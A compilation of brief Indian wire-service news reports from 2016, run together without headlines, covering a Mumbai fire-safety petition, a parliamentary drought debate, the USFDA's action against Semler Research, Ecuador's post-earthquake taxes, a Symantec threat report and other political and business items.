The petition, filed by activist Sharmila Ghuge, alleged that the civic body has failed to comply with the norms of Maharashtra Fire Prevention and Life Safety Measures Act.

It also pointed out increase in fire incidents in the city and cited death of fire fighting officers during a major fire which broke out in Kalbadevi area of South Mumbai last year.

On last occasion, the MCGM lawyer, replying to a query by the court about steps taken by the civic body to comply with the norms, had informed that the municipal body had inspected nearly 6,000 buildings till now for fire safety.

However, the court had asked the lawyer to furnish details on the manner of inspections done so far. Also, the court has asked MCGM to give details about who is authorised to issue and sign fire audit certificates and whether the civic body was declaring the statutory warnings with regard to fire safety.

The court ordered MCGM to take appropriate measures to avoid fire incidents due to non-compliance of rules.

On the implementation of rules, MCGM lawyer informed the court that the corporation had inspected nearly 3,895 structures in the city and 3,310 in the suburbs.

He said 1,531 non compliance notices were issued to buildings in city and 3,291 notices to buildings situated in suburbs.

A total of 11 buildings have been prosecuted so far, he said.
Opposition parties are set to raise the issue of drought in the country in a big way in Parliament in second half of the Budget session beginning Monday with several members having already given notices to discuss it.

They have been training their guns on the government on drought accusing it of turning a "blind eye" to the problem and asking for an all-party meeting to discuss it and the resultant water crisis in the country.

Leader of Opposition in Rajya Sabha and senior Congress leader Ghulam Nabi Azad and his party colleagues Anand Sharma, Hussain Dalwai, Bhubaneswar Kalita, Rajani Patil, Viplove Thakur, Mohammed Ali Khan, AU Singh Deo (BJD), K C Tyagi(JDU), Satish Chandra Mishra (BSP), independent member Rajeev Chandrasekhar and nominated member KTS Tulsi have already given a notice to Rajya Sabha Chairman Hamid Ansari in this regard, which has been admitted.

The notice seeks a discussion on the "serious situation arising out of prevailing drought and heat wave conditions and resultant water crisis in the country and the remedial measures taken by the Government in regard thereto."



The notice has been admitted under Rule 177 of the Rules of Procedure and Conduct of Business and the issue will be discussed on April 27.

Claiming that the Centre has no "serious" plan in place to tackle drought, CPI had already demanded the government should convene an all-party meeting to discuss the calamity and figure out ways to combat it.

Congress demanded Prime Minister Narendra Modi should call a meeting of chief ministers of drought-hit states to tackle the situation on a war-footing.

Uttar Pradesh Chief Minister Akhilesh Yadav recently accused the Centre of turning a blind eye to drought-hit Bundelkhand.

Amid criticism of the government on the drought and resultant water crisis issue, Rural Development Minister Birender Singh has rued that over Rs 1,500 crore central funds are lying unspent in states, which could have been used to mitigate the drinking water crisis in the parched areas.

Singh has been maintaining that he has already asked the states to utilise 10 per cent of the flexi funds lying with them for mitigating the problems like natural calamity even as the Centre was extending support to them.
Coming down hard on Semler Research Center over data integrity issues, USFDA has told drug firms that their applications seeking approvals on the basis of studies done by the Bangalore-based firm will not be accepted.

Instead, USFDA said, the firms will need to furnish clinical research by other approved entities.

"FDA is notifying sponsors of New Drug Applications (NDAs) and Abbreviated New Drug Applications (ANDAs) that clinical and bioanalytical studies conducted by Semler Research Private Ltd are not acceptable as a result of data integrity concerns, and need to be repeated," the United States Food and Drug Administration (USFDA) said in a notification.

The letter informs the sponsor that it must repeat the bioequivalence/bioavailability studies using an entity other than Semler at an acceptable alternate study site, it added.

Semler is a contract research organisation that conducts bioequivalence and bioavailability studies for a number of pharmaceutical companies.

The action is being taken as a result of an inspection of Semler's bioanalytical facility in Bangalore conducted between September 29, 2015, and October 9, 2015, USFDA said.

It added that the inspection found significant instances of misconduct and violations of federal regulations, including the substitution and manipulation of study subject samples.

The regulator has also written letters informing the sponsors whose applications that are currently under review that include data from studies conducted at Semler.

The latest development is somewhat similar to the European Union ban in July 2015 on the marketing of around 700 generic medicines for alleged manipulation of clinical trials conducted by GVK Biosciences.

The decision taken was in response to a recommendation by the EU drug regulator European Medicines Agency (EMA) in January that marketing authorisation of these drugs should be suspended as they were based on clinical trial data allegedly manipulated by the Hyderabad-based company.
With sales of Italian superbike picking up momentum, DSK Motowheels is planning to open 35 showrooms across the country by the end of this year.

The company has 17 exclusive showrooms, including the one opened today in the city, DSK Benelli Chairman Shirish Kulkarn told reporters here.

DSK Benelli, which is just 14 months old, has sold nearly 2,500 bikes in six types, ranging from Rs 1.77 lakh to Rs 12,07 lakh for 250cc to 1130c, so far, he added.

After the expansion, the company expects to sell 4,500 bikes by 2017.

To a question on coming out with lesser engine power bikes, the official said Benelli had showcased a 135cc Mini Bike, which may cost Rs 1.3 lakh to Rs 1.5 lakh.
President Rafael Correa has announced that he is raising sales taxes and will charge a one-time levy on millionaires to rebuild cities devastated by Ecuador's worst earthquake in decades.

In a televised address, Correa said damages from the 7.8-magnitude quake will likely run into the billions of dollars, adding to already heavy economic hardships in this OPEC nation triggered by the collapse in world oil prices.

The task of rebuilding shouldn't fall only to communities along the coast in the quake's path but will require sacrifices from all segments of Ecuadorean society according to their ability to contribute, Correa said yesterday.

"I know we're at the most-difficult stage right now but it's just the beginning," he said.

Using authority granted by the state of emergency he declared after Saturday night's quake, Correa said sales taxes would increase to 14 per cent from 12 per cent for the coming year.

People with more than USD 1 million in assets will be charged a one-time tax of 0.9 per cent on their wealth, while workers earning over USD 1,000 a month will be forced to contribute a day's wages and those earning USD 5,000 a month the equivalent of five days' pay.

Taxes on companies will also go up, and Correa said he will look to sell certain state assets that he didn't specify. He is also drawing on USD 600 million in emergency credits from the World Bank and other multilateral lenders.

The tax hikes come as the scale of devastation continues to sink in. A helicopter flyover of the damage zone Wednesday showed entire city blocks in ruins as if they had been bombed.

Yesterday, the government raised the death toll to 570. Officials listed 163 people as missing while the number of those made homeless climbed over 23,500. The final death toll could surpass casualties from earthquakes in Chile and Peru in the past decade.

Even as authorities turn to restoring electricity and clearing debris, the earth continued to move. A magnitude-6.1 aftershock before dawn Wednesday set babies crying and sent nervous residents pouring into the streets.

Local seismologists had recorded more than 550 aftershocks, some felt 105 miles (170 kilometers) away in the capital of Quito.

Rescuers who have arrived from Mexico, Colombia, Spain and other nations said they would keep searching for survivors, but cautioned that time was running out and the likelihood of finding more people alive grew smaller with the passage of every hour.
Emma Stone, Kate McKinnon and Jillian Bell are set to star in "Women in Business".

Twentieth Century Fox has just acquired the script to the upcoming comedy after winning a heated bidding war involving multiple studios.

"Women in Business" is written by up-and-coming writer Laura Steinel who is also credited as writer of Amazon's series "Red Oaks".

According to The Hollywood Reporter, the comedy centers on "two competitive women who are sent on a business trip to Canada. There, they hire a third woman off Craigslist to act as their intern, which derails their trip."



Stone, McKinnon and Bell are attached as the lead stars while "Mike and Dave Need Wedding Dates" director Jake Szymanski is on board to helm the comedy.

Stone is fresh off completing the filming of "Battle of the Sexes" and will next star in Disney's live-action "Cruella" in addition to reprising her voice role as Eep in "The Croods 2".

McKinnon is the star of Paul Feig's upcoming "Ghostbusters (2016)" reboot and also has a voice role in "Angry Birds".

Bell made a breakthrough in "22 Jump Street" and is attached to star in "Office Christmas Party" opposite Jennifer Aniston.
Marking the 400th death anniversary of William Shakespeare tomorrow, a six-month online festival on the Bard of Avon will be presented by performers from UK and will be available all over the globe including India.

Shakespeare Day Live, a digital pop-up channel, co-curated by BBC and British Council, will have leading art organisations across UK, giving performances, analysis, talks and fun streamed online, a British Council release said.

A dazzling array of actors, musicians and artists including Dame Judi Dench, Sir Ian McKellen, Adrian Lester, Ralph Fiennes, Simon Russell Beale, BBC Scottish Symphony and BBC Concert Orchestras is featured on the live channel along with new work from young artists from across the UK and Europe.

In Kolkata, the British Council is holding a series of activities including workshops, panel discussions and contests.

These include a session on 'Shakespeare on Leadership and Power', a mask-making workshop inspired by the Bard's characters and their monologues among other activities.

The Young Adults Repertoire of Creative Arts Studio will present 'A Midsummer Night's Dream, Shakespeare's well-known comedy.

In another session, students will relive Shakespeare's world famous plays, learn English through his popular comedies and discover aspects of the Bard's life and works through podcasts, blog contests and live streaming of videos.

They would also take part in a blogging contest on 'The Shakespearean film/adaptation that has influenced me most and why'.
India witnessed an increase of 156 per cent in social media scams with every sixth scam globally impacting an Indian, security software firm Symantec has said.

According to Symantec's Internet Security Threat Report, India was the most targetted country in Asia and second in the world.

"A whopping 94 per cent of these scams were spread through manual sharing, proving India's burgeoning social media population remains a favoured target of scammers," Symantec Director Solution Product Management Asia Pacific and Japan (APJ) Tarun Kaura told PTI.

Scammers are using social media to leverage the trust people have in their own social circles to spread scams, fake links and phishing, he added.

According to the report, India ranked third globally (3.4 per cent) and second in the APJ region as source of overall malicious activity, after China (23.7 per cent) and the US (18.9 per cent).

"India was once considered the spam capital of the world, India has seen a steady decrease in the amount of spams originating from its borders. After ranking 6th in 2014, India now ranks 18th as a source of spam," he said.

However, it continues to rank as the third top source of overall malicious activity including spam, malware, phishing hosts and bots, etc.

Year 2015 also saw Indian organisations becoming the sixth most targeted in the APJ region as targeted firms received an average of two attacks.

Public utilities and financial sector organisations, that were targeted once, were most likely to be targeted again at least two times more throughout the year.

Mining was the highest risk prone sector, where one out of two companies was attacked at least once last year, the report said.

Also, 40 per cent of BFSI businesses were also attacked at least once, it added.

"Advanced criminal attack groups now have the skill sets of nation-state attackers. They have extensive resources and a highly-skilled technical staff that operates with such efficiency that they maintain normal business hours and even take the weekends and holidays off," Kaura said.

He added even low-level criminal attackers are expanding operations to increase the impact of their scams.
A spectacular explosion at an oil facility in southeastern Mexico has injured at least 30 workers, state-run energy giant Pemex said.

A huge plume of gray smoke could be seen spewing from the plant known as Pajaritos, in the city of Coatzacoalcos yesterday. The blast forced the evacuation of nearby schools and businesses.

The cause of the explosion at the Petroquimica Mexicana de Vinilo (PMV) plant was not immediately known. The facility is run in partnership with Pemex.

Fires at oil facilities in Mexico are fairly regular occurrences.

In February, two people were killed and at least seven were injured in a blaze at a Pemex oil platform off the coast of Campeche, also in the southeast.
After Samajwadi Party (SP), a group of farmers and a local outfit on Friday said they will oppose Prime Minister Narendra Modi's visit to the district on May 1.

The farmers alleged that their crops have been damaged due to preparations for the visit in Maldepur, adjacent to the Lucknow-Ballia Highway, where the prime minister is scheduled to launch Pradhan Mantri Ujjwala Yojana to provide LPG connections to women below poverty line.

Agitated farmers on Thursday staged a protest demanding compensation for damage to crops. They were joined by Puvanchal Peoples Party (PPP), a local outfit, which announced that they will too oppose Modi's visit.

Read more from our special coverage on "NARENDRA MODI"

Gram Pradhan Vinod Paswan alleged that without the consent of land owners, works were carried out on the land and crops were damaged.

They alleged that during Lok Sabha elections, Modi's public meeting was held at the same place and farmers were promised compensation, which has not yet been fulfilled.

The PPP has announced that they will fly black kites to oppose Modi's visit.

"Purvanchal is facing the problem of backwardness, unemployment and hunger, and BJP, which has won all the seats of this area barring Azamgarh, has not done anything to address these problems," PPP chief Anup Pandey said.

"This visit of the prime minister is aimed at garnering votes during the coming Assembly elections in the state and has got nothing to do with the plight of people in this region," he alleged.

Meanwhile, local SP leaders have also decided to oppose Modi's visit over the Centre's alleged apathy towards the development of the district.

A delegation of SP leaders, including Ambika Chowdhury and Narad Rai, on Sunday handed over a memorandum to district administration, demanding establishment of AIIMS and other developmental projects.

"The district has been ignored by the Centre. With the PM's visit, we haven't got any positive indication for start of any developmental project, which is why we are protesting his visit," the memorandum said.

BJP MP Yogi Adityanath has, however, termed the protest as an act of "foolishness" and said that the prime minister is coming here to launch a scheme related to free distribution of LPG connections to poor.

"May God give them (SP leaders) good sense so that they can understand what PM is doing," he said earlier this week.
Indias foreign exchange reserves rose by $333.7 million to reach a fresh life-time high of $360.250 billion in the week to April 15, the Reserve Bank of India (RBI) said on Friday.

In the previous week, the reserves had increased by $157.4 million to $359.917 billion. The forex kitty increased on account of rise in foreign currency assets (FCAs), which constitute a major component of the overall reserves.

Read more from our special coverage on "FOREX RESERVES" Forex reserves surge to record high of $360 bn

FCAs rose by $341.4 million to $336.187 billion in the week under review, an RBI release said.

The country's special drawing rights with the International Monetary Fund declined by $2.9 million to $1.498 billion and the reserve position dipped by $4.8 million to $ 2.450 billion, RBI said.
Gurdeep Singh Khera, who is serving life sentence in two different terror cases, was today released on parole of 42 days.

55-year-old Khera, a native of Jallupur Khera village in Amritsar, is currently lodged in Central Jail here where he was transfered from Gulbarga Jail of Karnataka in June last year on "humanitarian grounds".

He was booked under Terrorist and Disruptive Activities (TADA) Prevention Act and later sentenced to life imprisonment in two different cases registered in 1996 in New Delhi and Karnataka.

In December 2013, Khera had petitioned the Karnataka government, seeking transfer to Punjab to be close to his family and get parole whenever required.

On December 12, 2014, the Punjab prison department had given no-objection certificate to Karnataka prison authorities for transferring Khera from Gulbarga prison.

Punjab jail and Home department functionaries had later pursued Karnataka government officers to fast-track Khera's transfer.
Urmilaben Patel, former Union Minister and wife of former Gujarat Chief Minister late Chimanbhai Patel, today passed away here following a brief illness, state Congress said in a statement here.

Urmilaben, 85, was suffering from age-related problems.

Congress president Sonia Gandhi condoled her death. In her message, Gandhi praised Patel for being in the forefront to raise issues related to the rights of the women and the downtrodden, the statement said.

Gujarat Congress chief Bharatsinh Solanki and senior Congress leader Shankersinh Vaghela lauded Urmilaben's contribution in various fields and said Congress had lost a dedicated woman leader.

Patel's son Siddharth Patel has served as a Gujarat Congress president.

"She was the Minister of State for Power in the cabinet of former Prime Minister P V Narsimha Rao during 1991-95. She also served as principal of a college for many years and was associated with several educational institutes and NGOs," said Gujarat Congress spokesperson Jayrajsinh Parmar.

BJP national president Amit Shah as well as Gujarat BJP chief Vijay Rupani also paid tributes to her.

Shah stated in his message that Patel efficiently played her role in the public life and gave invaluable contribution to the society.

Rupani too expressed grief and stated that Patel set an example for others through her contribution in the educational and social fields.
Government has no plans to review terror cases involving right wing groups and such matters are between courts and the National Investigation Agency (NIA), probing all such cases, a senior official said today.

The cases are lying before the courts and government has no role in it, the senior official said and ruled out the possibility of ordering any fresh investigations.

The terror cases allegedly involving cadres of a right wing organisation include 2007 Samjhuata train blast and 2008 Malegaon blast.

The official said one of the accused Lt Col Prasad Shrikant Purohit's wife had complained of alleged unfair treatment to her husband during investigation.

The matter is with the NIA and if she is not satisfied, she can come to the Ministry of Home Affairs to redress her grievances, the official said.

Lt Col Purohit has been chargesheeted in the 2008 Malegaon blast case.

A blast rocked Malegain in Maharashtra in which four persons were killed while several others injured. The probe was initially conducted by the Maharashtra ATS and later handed over to the NIA.

Besides Purohit, Pragya Singh Thakur, Shivnarayan Kalsangra, Shyam Sahu, Ramesh Upadhya, Sameer Kulkarni, Ajay, Rakesh Dhawade, Jagdish Mhatre, Sudhakar Dwivedi, Sudhakar Chaturvedi and Pravin Takalki have been arrested.

The NIA has filed charge sheet against eight people in connection with Samjhauta blast case which includes Naba Kumar Sarkar alias Swami Asimanand, Late Sunil Joshi alias Sunilji, Ramchandra Kalsangra, Sandeep Dange (both absconding), Lokesh Sharma, Kamal Chauhan, Amit and Rajender Choudhary.

The case pertains to the criminal conspiracy which resulted in bomb blasts in the Attari Express (Samjhauta) train near Panipat, Haryana on February 18, 2007.

Ramaji Kalsangra and Sandeep Dange, who are absconding accused in the Samjauta blast case, have also been chargesheeted in this case.
Government on Friday invited bids from merchant bankers interested in assisting it in the sale of 10% stake in blue-chip National Mineral Development Corporation (NMDC) which could fetch about Rs 3,900 crore to the exchequer.

It will select four merchant bankers for managing the stake sale in India's largest iron ore producer .

According to the expression of interest floated by Department of Investment and Public Asset Management, the last date for submission of bids by merchant bankers is May 16. At the current market price of Rs 100.20 a piece, sale of 39.64 crore shares through an offer for sale (OFS) would fetch about Rs 3,900 crore to the exchequer.

The government currently holds 80% stake in the public sector unit (PSU), which has a paid up capital of Rs 396.47 crore.

The government would also allot shares up to a maximum of 5% of the OFS size to employees at a discount of 5% to the issue or discovered price. The employees will be eligible to apply for shares up to Rs 2 lakhs only.

The PSU, which is in the administrative control of the Ministry of Steel, is primarily engaged in the business of iron ore mining but is also expanding its activities towards production of steel and other value added products.

Proceeds from disinvestment will be part of government's total disinvestment target of Rs 56,500 crore this fiscal. Of the target, Rs 36,000 crore is estimated to come from minority stake sale in PSUs, and the remaining Rs 20,500 crore from strategic sale in both profit and loss-making .

The government had last sold 10% stake in NMDC in December 2012 during which it had netted Rs 5,900 crore to the exchequer.

Shares of NMDC had slipped over 3% during the day to Rs 99 a share. It recovered in afternoon trade and was quoting at Rs 100.20 on BSE.
Government has decided to terminate three highway projects in Jharkhand, Haryana and Uttarakhand on account of poor show by the developers.

The government has taken a decision to terminate three projects due to poor performance of developers, National Highways Authority of India (NHAI) Chairman Raghav Chandra said at an event here today.

The projects are Rargaon-Jamshedpur in Jharkhand, Rohtak- Jind in Haryana and Haridwar-Dehradun in Uttarakhand.

According to the information, the projects are worth over Rs 3,000 crore.

NHAI had suspected diversion of funds in Jharkhand and Haryana projects while the developer had been facing fund-crunch in Uttarakhand project.

Chandra said the government will soon take a call on stuck projects, which lack satisfactory progress by developers.

The government has recently said it is hopeful of resolving issues related to stuck highway projects worth Rs 40,000 crore, and in case problems persisted then the PMO and the Finance Ministry will look for "out of the box" solution.

As many as 19 projects entailing a capital investment of Rs 40,000 crore were stuck for long and Road Transport and Highways Minister Nitin Gadkari alongwith Finance Minister Arun Jaitley had called a meeting of the bankers with regard to these earlier this year.

Gadkari had recently said the government is working on setting up a tribunal to clear stuck projects.
The government is working on guidelines for defence FDI proposals where foreign investment would be more than 49 per cent.

At present, FDI up to 49 per cent is allowed under automatic route in the defence sector, while Foreign Investment Promotion Board's approval is required for proposals committing foreign investment beyond 49 per cent.

A meeting on the formulation of guidelines was held in the Ministry of Defence earlier this week, sources said.

The guidelines would help facilitate foreign investments for beyond 49 per cent shareholding, they added.

Last year, the government relaxed FDI norms in the defence sector by allowing FDI up to 49 per cent under automatic route and beyond that through the FIPB's approval.

The development assumes significance as French defence major DCNS has approached the government with a 100 per cent FDI proposal in the sector.

Although the government had liberalised the FDI cap in the sector, but no major overseas investment has been received in the segment so far.

The move would also help boost the domestic industry which imports up to 70 per cent of its military hardware.
Seeking bail for jailed OBC quota agitation leader Hardik Patel, his lawyer today argued in the High Court here that his client never instigated the people to resort to violence and had in fact appealed for peace.

Justice A J Desai is hearing Hardik's bail plea. The young Patel leader is facing sedition cases in Ahmedabad and Surat.

Advocate Bharda today said Ahmedabad police misinterpreted Hardik's speech at the GMDC ground rally here on August 25 last year where he invoked freedom-fighter Bhagat Singh 'who threw a bomb at the British'.

"Hardik did not mean that he will uproot the government by bombing it. Hardik asked Patels to use their voting right as a 'bomb' to oust the government if the demand of reservation was not met," the lawyer said.

The court later adjourned the hearing to April 28 when Hardik's lawyer Zubin Bharda would continue his argument.

The bail applications of Hardik's three aides -- Ketan Patel, Chirag Patel and Dinesh Bambhaniya -- also came up for hearing in Justice Desai's court today.

They told the court that instead of their current lawyer, B M Mangukiya, they have now appointed advocate Vijay Patel. Their bail applications too will be heard on April 28.

Session courts in Surat and Ahmedabad had refused Hardik bail last month.

He and his three associates are accused of inciting the violence to mount pressure on Gujarat government for accepting the demand of reservations for the Patel community.

Hardik is at present lodged in Lajpore jail in Surat district.
The Madras High Court today directed the Election Commission to give a reply to DMK on its representation seeking to prevent voters from using "Authenticated Photo Voters Slip" as an additional identification document for casting votes.

The division bench, comprising Justice M M Sundresh and Justice S Vimala, gave the direction on a PIL filed by T K S Elangovan on behalf of the party.

"Matters like this have to be left to the discretion of the Election Commission. Admittedly, the notification has come into force. Therefore, we do not go into the merits of the matter except by calling upon the Election Commission to give a suitable reply to the representation made by the petitioner", the bench said.

Enangovan submitted that on April 2, 2014, the Election Commission issued an order approving "Authenticated Photo Voter Slip" (APVS) as additional proof of identity of a voter besides the 10 identification documents including passport, PAN card, Aadhar card and driving license.

He submitted that for the distribution of these APVS, the Election Commission in all the states were using the services of Noon Meal Organisers, contract employees or Anganwadi workers as Booth Level Officers (BLOs).

He contended that since these BLO's are local people and their jobs are at the mercy of political parties, they will have no choice except to act according to the directions of the political parties.

He submitted that since the BLOs were easily amenable to the local body representatives like Village Panchayat, Town Panchayat, Municipal Ward Councillors and other representatives of various co-operative societies belonging to the political parties, there was every chance of misusing the slips.

Stating that DMK raised the issue during an interaction with all political parties by the Election Commission on March 28 and April 7 and the EC assured that it would consider the request, no action was taken till date.
Republican presidential front- runner Donald Trump has said that he prefers to run against Democratic leader Hillary Clinton in the elections and not against Vermont Senator Bernie Sanders despite that he is giving a tough time to the former secretary of state.

"Now Bernie's over, I guess. It's over for Bernie. I don't want to run against Bernie," Trump told his supporters in Pennsylvania, where the Republican presidential primary is scheduled to be held on April 26.

"I want to run against crooked Hillary Clinton. We are going to beat her so badly. Is there anyone more crooked than this woman?" Trump said, as he appeared to be confident of bagging the party's presidential nomination despite being quite far away from the necessary 1237 delegates to get this.

However, he praised Sanders for his tough fight against Clinton. "(Sanders) said she suffers from bad judgement and she said - now I don't know, I think she's qualified, I guess. But that doesn't mean she's good," he said.

"He said she's not qualified to be president. Now what he meant is because her judgement is so bad- so Bernie Sanders, not me, said she's not qualified. So now I'm going to say: She's not qualified, OK?" Trump said.

"We have all of the mistakes Hillary made as secretary of state. We have a mess. The war in Iraq has been devastating. We have probably spent USD 4 trillion in the Middle East," the Republican front runner said in his speech.

Meanwhile, the former Republican presidential candidate and Speaker of the House of Representatives Newt Gingrich said that Trump is a presumptive nominee and urged party leaders to unite behind him.

The Republican National Committee (RNC) leadership continued to its meeting in Florida over the various laws related to the convention.

Trump personally did not attend the meeting, but was represented by his close aides. The other two presidential candidates, Ted Cruz and John Kasich, appeared before the RNC.

At his Pennsylvania rally last evening, Trump refused to go by the advice of his aides who asked him to wait so as to let a large crowd waiting outside to come inside the venue.

"So I am supposed to wait a half an hour because there are thousands of people outside trying to get in. I can't do that to you, so we are going to come on right now," he said off-stage.

"I've never done that before. I've never introduced myself. They didn't quite say it right the first time. We have thousands of people outside. They're going to pour in, they're filling up the floor. Let's start a little bit early. To hell with this," said Trump, who has 845 delegates to his kitty.

His nearest primary rival Senator Ted Cruz from Texas has 559 and the Ohio Governor John Kasich 148. The next round of primary elections are scheduled in the states of Maryland, Pennsylvania, Connecticut, Delaware and Rhode Island.

Trump needs to win big in these states to ensure that he gets the necessary 1237 votes to become the party's nominee before the Cleveland convention in July.
Union Minister Harsh Vardhan today inaugurated the country's first second-Generation (2G) Ethanol plant at Kashipur in Uttarakhand.

"The technology is suited for both Indian and global needs and it is projected to be capable of converting all types of agricultural residues like bagasse, rice and wheat straw, bamboo, cotton stalk, corn stover, wood chips to ethanol in less than 24 hours, with optimum product yields," the Union Minister for Science Technology and Earth Sciences said.

"If successfully operated and scaled-up, it will establish India as a major global technology provider in the arena of renewables and reduction in carbon-emissions, besides effecting considerable savings in import of crude-oil," a statement from the ministry quoting Vardhan said.

He said that more such examples are needed, for the initiatives like 'Make in India' and 'Swachh Bharat Abhiyan' to be truly successful.

"Such technological breakthroughs can make India stand out as a leader in the world's struggle to save the earth from challenges of global warming," he noted.

The plant, which has a capacity to consume 10 tonne of biomass per day, is based on the globally-competitive indigenous technology of converting lingo-cellulosic biomass to Ethanol.

It is a Feedstock-independent technology developed by DBT-ICT Centre for Energy Biosciences at the Institute of Chemical Technology (ICT) Mumbai, supported by Department of Biotechnology, Ministry of Science and Technology and the Biotechnology Industry Research Assistance Council (BIRAC).

The Government has set a mandate of 5 per cent blending of renewable biofuel in both petrol and diesel. While diesel biofuel blending is near zero, the petrol blending today stands at an overall of about 3 per cent in the form of first generation (1G) or molasses-based Ethanol.

While the annual requirement of 1G-ethanol stands at about 500 crore litre, the current total installed capacity is about just 265 crore litre.

"In such a scenario, the targets of 10 per cent blending by 2017 and 20 per cent by 2020 look remote unless agricultural waste based ethanol 2G-Ehanol production technologies are successfully demonstrated," the statement said.
Evictions and displacements are "quite common" in India and its legacy of discrimination against SCs, women and Muslims is even apparent in the housing sector, a UN Special Rapporteur observed today, irking the government.

After touring parts of India for 12 days to asses status of housing, UN special rapporteur Leilani Farha said bias against Muslims "manifests" in different parts of the country in "different ways" in the housing sector and that government was not focussed on addressing the problem of homelessness.

The rapporteur listed her observations about India's housing sector at a press conference, noting a detailed report will be submitted to the UN Human Rights Council at its 34th session in March 2017 in Geneva.

India's "legacy of discrimination" against scheduled castes, women and religious minorities including Muslims remains "apparent" in housing sector, she said.

Reacting to the observations, the External Affairs Ministry said the reports prepared by the Special Rapporteurs during such visits are their own work, suggesting they were not reflective of UN's view on India.

"As part of its normative and advocacy work, the Human Rights Council utilises a mechanism known as Special Procedures which includes the appointment of Special Rapporteurs who are independent experts with mandates to report and advise on specific themes or country-specific situations.

"The reports prepared by the Special Rapporteurs during such visits are their own work based on their travel within the country and their interaction with government officials or both at Central and State levels, site visits and community interactions, meetings with non-governmental organisation and any others," the MEA said.

The Special Rapporteur on Adequate Housing said India has vast number of pavement-dwellers as well as those living in luxury buildings while making a strong pitch for enactment of a national law to address the issue of right to adequate housing.

The Geneva-based UN Human Rights Council is charged within the UN system with promoting universal respect for the protection of all human rights and fundamental freedoms. India is presently one of the 47 members of the Human Rights Council.

Farha also expressed concern that addressing homelessness



did not appear to be priority for the government at a time when redressal of the issue is an international human right obligation.

She also pointed out that evictions and displacement are "quite common" in India and stated those are carried out, mostly without any adherence to international standards and guidelines that exist to guide the eviction process.

"It is very confronting to see people (pavement-dwellers) living in or should I say struggling to live in those conditions.

"I do offer one overriding recommendation. (In) India, central government adopts national legislation that incorporates human rights that address housing issue," she said.

The rapporteur said what concerned her "most" during the trip is that there doesn't seem to priority on behalf of the government to address homelessness, which she added, is an international human rights obligation.

"They (pavement-dwellers) are one incident away from death. I saw children playing on sides of busy roads," she added.

Farha said discrimination "whether direct or indirect" were raised to her on many occasions as "bedrock issues" with regard to housing in India.

"The majority of those who are homeless are or are residing in slums with the worst housing conditions are those members of these and other vulnerable groups," she said.

Among minorities, Farha said discrimination against Muslims "manifests" in different parts of the country in "different ways" in the housing sector.

"Private landlords, real estate brokers and property dealers will often refuse to rent to someone who is Muslim, or impose unfair conditions.

"It is also the case that Muslims in some parts of the country have felt compelled to leave their homes and migrate to places where other Muslims are living, often in slums," the Special Rapporteur observed.
India will start exporting bovine meat to Indonesia during Ramadan festival in June as the island nation has issued an order allowing 'zone-based' shipments.

India, a major exporter of buffalo meat, has been trying for market access for bovine meat in Indonesia since 1999. However, the Indonesia was not allowing imports citing Foot and Mouth Disease.

"Indonesian government is making efforts to open its market for Indian bovine meat by Ramadan period," the Southeast Asian country's Director General of Livestock and Animal Health Muladno said in a statement.

Indonesia's President Joko Widodo had signed a Decree allowing 'zone-based' meat imports in March 2016 after its audit team confirmed that India has excellent mechanism of meat processing and quarantine control, he added.

Muladno was speaking at a 'Roadshow on Indian Bovine Meat' in Jakarta held yesterday. The event was organised by The Embassy of India in Jakarta, in association with the Agricultural and Processed Food Products Export Development Authority (APEDA) and the All India Meat and Livestock Exporters Association (AIMLEA).

In September 2015, the audit team from Indonesia had inspected abattoirs and research institutions in India. The team observed that India has more than 50 slaughter houses which are above international standards.

Stating that the engagement between India and Indonesia remains vibrant, Ambassador of India Nengcha Lhouvum said: "Bovine meat is one of the prominent sectors which could help diversifying the exports from India that would ultimately benefit the government and the people of Indonesia,"



"With the recent decree signed by President of Indonesia allowing 'zone-based' meat imports, India is expected to get a significant share of the Indonesian meat market as the bovine meat will be very competitively priced," said a statement issued by Indian Embassy in Indonesia.

India has a track record of 46 years in the export of de-boned and de-glanded frozen Buffalo meat to 64 countries worldwide. Meat exported from India is prepared strictly in compliance with Islamic requirements and is genuinely Halal.
Miditech's "Undercover Asia: Girls for Sale" has won a bronze world medal at the New York Festivals World's Best Film & TV Awards in the Social Issues category.

"Undercover Asia: Girls for Sale" talks about anti trafficking activist Rishi Kant's search for two minor girls, who have been abducted.

"This is one of India's dirty secrets (as reported in the Verma Commission Report). We wanted to tell this story in a way that it gets under you skin and so decided to meet anguished parents whose daughters have gone missing," Pria Somiah, executive producer of the film said in a statement.

Somiah feels the problem is rampant and needs to be addressed seriously.

"We then follow the search for these girls by Rishi Kant founder of Shakti Vahini, a human rights group that works on rescue. The problem is very rampant and growing. The demand comes from within India, for prostitution, for sex brides, for domestic help. This is currently hugely under-reported."



"Girls for Sale" also explores the brothels, placement agencies and homes to see the horrors that these young girls were subjected to.

Radhika Chandrasekhar, the director of the documentary, said, "Making this film was a harsh reality check for the entire crew. We lived through the agonies of each of the children - the sexual abuse most went through, the rescue and escape attempts, the rebuilding of a life."



In 2014, Miditech's "Silent Screams" won three awards at the New York Festivals.
An Indian-origin former is facing extradition from Portugal to Italy and a possible four-year jail term for her alleged role in the American intelligence agency's abduction of an Egyptian cleric in 2003 from Milan, according to a media report.

Sabrina De Sousa, 60, who has a dual citizenship of the US and Portugal, told The Washington Post that she played no role in Omar's kidnapping. She lives in Portugal while her 90-year- old mother lives in India.

She was among 26 Americans convicted in absentia by Italian courts for her alleged role in the February 2003 rendition of Egyptian cleric Hassan Mustafa Osama Nasr, also known as Abu Omar.

She faces no threat for imprisonment in Italy as she moved back to the US long before the Italian trial began. However, she was detained in Lisbon last year by Portugal authorities in response to a European arrest warrant.

"This week, Portugal's highest court upheld the country's lower courts' rulings, declared that they did not violate the constitution, and said De Sousa should be sent to Italy as soon as May 4," the Post reported yesterday.

At the same time, Portugal's Constitutional Court also reiterated a condition set by the lower courts and guaranteed by Italy in De Sousa's European arrest warrant that once she arrives in Italy, she must be given another trial or a chance to appeal with new evidence, and the ability to call Italian and US witnesses, because she had been tried in absentia, the daily reported.

"De Sousa's extradition and potential imprisonment would be an astonishing turn of events for a case that raises major questions about how much diplomatic protection CIA case officers abroad possess when carrying out operations sanctioned by their superiors," the paper said.

Benjamin Fischer, a former CIA chief historian, described this as unprecedented. In her interview to the daily, she rued that the CIA is not helping her. CIA declined to comment.

"Those of us who were convicted were accredited diplomats and declared to the Italian government. We instead find ourselves treated like NOCs with our US government affiliation disavowed.

"I would have never joined the CIA if I was told there was a remote possibility that I would never see my mother in Goa again and not travel abroad. This has set a terrible precedent. This rendition was funded by Congress with approval of senior government officials in the US, Italy and Egypt," De Sousa said.

